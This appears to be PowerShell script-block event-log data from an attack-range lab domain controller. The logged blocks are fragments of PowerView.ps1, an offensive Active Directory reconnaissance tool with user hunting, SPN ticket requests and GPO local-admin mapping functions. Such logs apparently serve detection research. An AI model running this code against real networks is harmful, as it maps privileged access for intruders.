4104132150x02372886Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4141 = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs @('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Invoke-ThreadedFunction New-ThreadedFunction Set-Alias Invoke-UserHunter Find-DomainUserLocation Set-Alias Invoke-ProcessHunter Find-DomainProcess Set-Alias Invoke-EventHunter Find-DomainUserEvent Set-Alias Invoke-ShareFinder Find-DomainShare Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember Set-Alias Get-NetDomainTrust Get-DomainTrust Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372872Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2741s against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOUserLocalGroupMapping Find all user/group -> machine relationships where the user/group is a member of the local administrators group on target machines. .EXAMPLE Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local Find all computers that dfm user has local administrator rights to in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOUserLocalGroupMapping -Credential $Cred .OUTPUTS PowerView.GPOLocalGroupMapping A custom PSObject containing any target identity information and what local group memberships they're a part of through GPO correlation. .LINK http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { $TargetSIDs = @() if ($PSBoundParameters['Identity']) { $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid $TargetObjectSID = $TargetSIDs if (-not $TargetSIDs) { Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } else { # no filtering/match all $TargetSIDs = @('*') } if ($LocalGroup -match 'S-1-5') { $TargetLocalSID = $LocalGroup } elseif ($LocalGroup -match 'Admin') { $TargetLocalSID = 'S-1-5-32-544' } else { # RDP $TargetLocalSID = 'S-1-5-32-555' } if ($TargetSIDs[0] -ne '*') { ForEach ($TargetSid in $TargetSids) { Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid } } Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { $GPOgroup = $_ # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID if ($GPOgroup.GroupSID -match $TargetLocalSID) { $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { $GPOgroup } } } # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { $GPOgroup } } } | Sort-Object -Property GPOName -Unique $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOname = $_.GPODisplayName $GPOguid = $_.GPOName $GPOPath = $_.GPOPath $GPOType = $_.GPOType if ($_.GroupMembers) { $GPOMembers = $_.GroupMembers } else { $GPOMembers = $_.GroupSID } $Filters = $_.Filters if ($TargetSIDs[0] -eq '*') { # if the * wildcard was used, set the targets to all GPO members so everything it output $TargetObjectSIDs = $GPOMembers } else { $TargetObjectSIDs = $TargetObjectSID } # find any OUs that have this GPO linked through gpLink Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { if ($Filters) { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname } else { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname } if ($OUComputers) { if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } # find any sites that have this GPO linked through gpLink Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } } } function Get-DomainGPOComputerLocalGroupMapping { <# .SYNOPSIS Takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup .DESCRIPTION This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups are in the specified local group for a target machine through GPO correlation. If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to determine the OU the computer is a part of. Then resolve the computer's site name with Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For each resulting GPO group, resolve the resulting user/group name to a full AD object and return the results. This will return the domain objects that are members of the specified -LocalGroup for the given computer. Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and localgroup specifications. .PARAMETER ComputerIdentity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. .PARAMETER OUIdentity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local Finds users who have local admin rights over WINDOWS3 through GPO correlation. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP Finds users who have RDP rights over WINDOWS4 through GPO correlation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local .OUTPUTS PowerView.GGPOComputerLocalGroupMember #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GGPOComputerLocalGroupMember')] [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] Param( [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] $ComputerIdentity, [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] [Alias('OU')] [String] $OUIdentity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['ComputerIdentity']) { $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' if (-not $Computers) { throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } ForEach ($Computer in $Computers) { $GPOGuids = @() # extract any GPOs linked to this computer's OU through gpLink $DN = $Computer.distinguishedname $OUIndex = $DN.IndexOf('OU=') if ($OUIndex -gt 0) { $OUName = $DN.SubString($OUIndex) } if ($OUName) { $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # extract any GPOs linked to this computer's site through gpLink Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # process any GPO local group settings from the GPO GUID set $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGrd123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372871Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2641 $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GPOSearcher = Get-DomainSearcher @SearcherArguments if (-not $GPOSearcher) { Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -match '{.*}') { $IdentityFilter += "(name=$IdentityInstance)" } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(displayname=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } else { $Results = $GPOSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $GPO = $_ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { $GPO = Convert-LDAPProperty -Properties $_.Properties try { $GPODN = $GPO.distinguishedname $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath } catch { Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } } else { $GPO = Convert-LDAPProperty -Properties $_.Properties } $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $GPO } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } } $GPOSearcher.dispose() } } } } function Get-DomainGPOLocalGroup { <# .SYNOPSIS Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences. Also return their user membership mappings, if they exist. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID .DESCRIPTION First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or group membership is set through Group Policy Preferences groups.xml files. For any GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' section data is processed if present. Any found Groups.xml files are parsed with Get-GroupsXML and those memberships are returned as well. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ResolveMembersToSIDs Switch. Indicates that any member names should be resolved to their domain SIDs. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. 